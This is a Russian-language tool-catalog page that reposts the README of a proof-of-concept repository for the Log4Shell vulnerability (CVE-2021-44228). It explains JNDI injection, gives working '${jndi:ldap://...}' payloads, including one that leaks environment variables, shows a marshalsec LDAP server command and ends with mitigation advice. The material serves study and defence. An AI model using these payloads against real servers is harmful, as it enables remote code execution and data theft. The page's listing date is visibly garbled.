Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-44228-example — PoC уязвимости | Kitploit
Инструменты/GitHubGitHub/kosmx/cve-2021-44228-example
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеИнструмент Удаленного Доступа
GitHubkosmx/cve-2021-44228-example

CVE-2021-44228-example

PoC уязвимости

Репозиторий
724 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Это пример эксплуатации CVE-2021-44228

RCE-уязвимость в Log4J2


Я не несу ответственности за этот код. ПОЖАЛУЙСТА, не используйте во вред

CVE-2021-44228:
Эта уязвимость позволяет выполнять произвольный код при логировании вредоносного сообщения на целевой машине.
Например, вы можете использовать её в Minecraft, отправив сообщение в чат: сервер или машина игрока залогирует сообщение и выполнит ваш код.
Видео LiveOverflow/CVE-2021-44228

Сообщение должно содержать плейсхолдер ${} с инструкцией загрузить удалённый объект через API jndi. Оно загрузит объект через ObjectFactory

  • LDAP ldap://x.x.x.x:port/...
  • HTTP http://x.x.x.x/...
  • DNS dns://x.x.x/...
  • и т.д...

${jndi:ldap://127.0.0.1:1389/#}

Если ObjectFactory отсутствует в клиенте, ничего не произойдёт.
Кроме резолвинга сервера.
С помощью этого можно утечь переменные окружения:

${jndi:ldap://127.0.0.1:1389/${env:java_home}}

Из-за чего такой ажиотаж вокруг этой RCE?

почему так много хайпа?
Если я правильно понимаю, она предоставляет интерфейс к JNDI

Что можно эксплуатировать

JNDI JDAP — это API поиска объектов.
Вы можете получить Java-объект с сервера.
marshalsec/LDAPRefServer
Он отправляет данные объекта и имя ObjectFactory, который должен создать объект на клиенте.
Его можно эксплуатировать разными способами.
Если LDAP настроен доверять внешнему коду, нам нужно лишь указать URL вредоносного ObjectFactory.
com.sun.jndi.ldap.object.trustURLCodebase = true
Или есть другая уязвимость Java — JDK-8196902.
В сочетании с ней это действительно превращается в RCE.
На GitHub есть несколько POC-репозиториев, которые это делают. Например, tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

Если этот параметр установлен в false (по умолчанию он false), мы можем искать эксплуатируемый ObjectFactory в кодовой базе цели,
или эксплуатировать JNDI другим способом.

Дополнительное чтение об инъекциях JNDI:
Инъекция JNDI
Veracode Research/rogue-jndi

В примере:

RCEExample — это функция, которая логирует вредоносное сообщение.
Просто нажмите run, чтобы запустить её...

LoggerFactory — это ObjectFactory, который логирует всё, что получает...
Если вы соберёте marshalsec, вы можете попросить его использовать LoggerFactory

  1. java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1/#LoggerFactory"
  2. Запустите rce.RCEExample и увидите эксплуатацию (логгер).
  3. Вы можете отладить этот проект, поставить точку останова в LoggerFactory и посмотреть объекты.

Защитите свою программу

Ваша программа не уязвима, ЕСЛИ она логирует только встроенные сообщения.
Если программа может логировать текст из любого файла данных или из сети, она уязвима.
Но в любом случае вам стоит это исправить...

Лучшее, что вы можете сделать, — обновиться до Log4J2 2.15.0+.
Если по какой-то причине это невозможно, отключите поиск по JNDI с помощью следующего аргумента Java: ‐Dlog4j2.formatMsgNoLookups=True, чтобы смягчить уязвимость.

Если вы администратор сервера Minecraft, следуйте официальному руководству: ВАЖНОЕ СООБЩЕНИЕ: УЯЗВИМОСТЬ БЕЗОПАСНОСТИ В JAVA EDITION

Скачать инструмент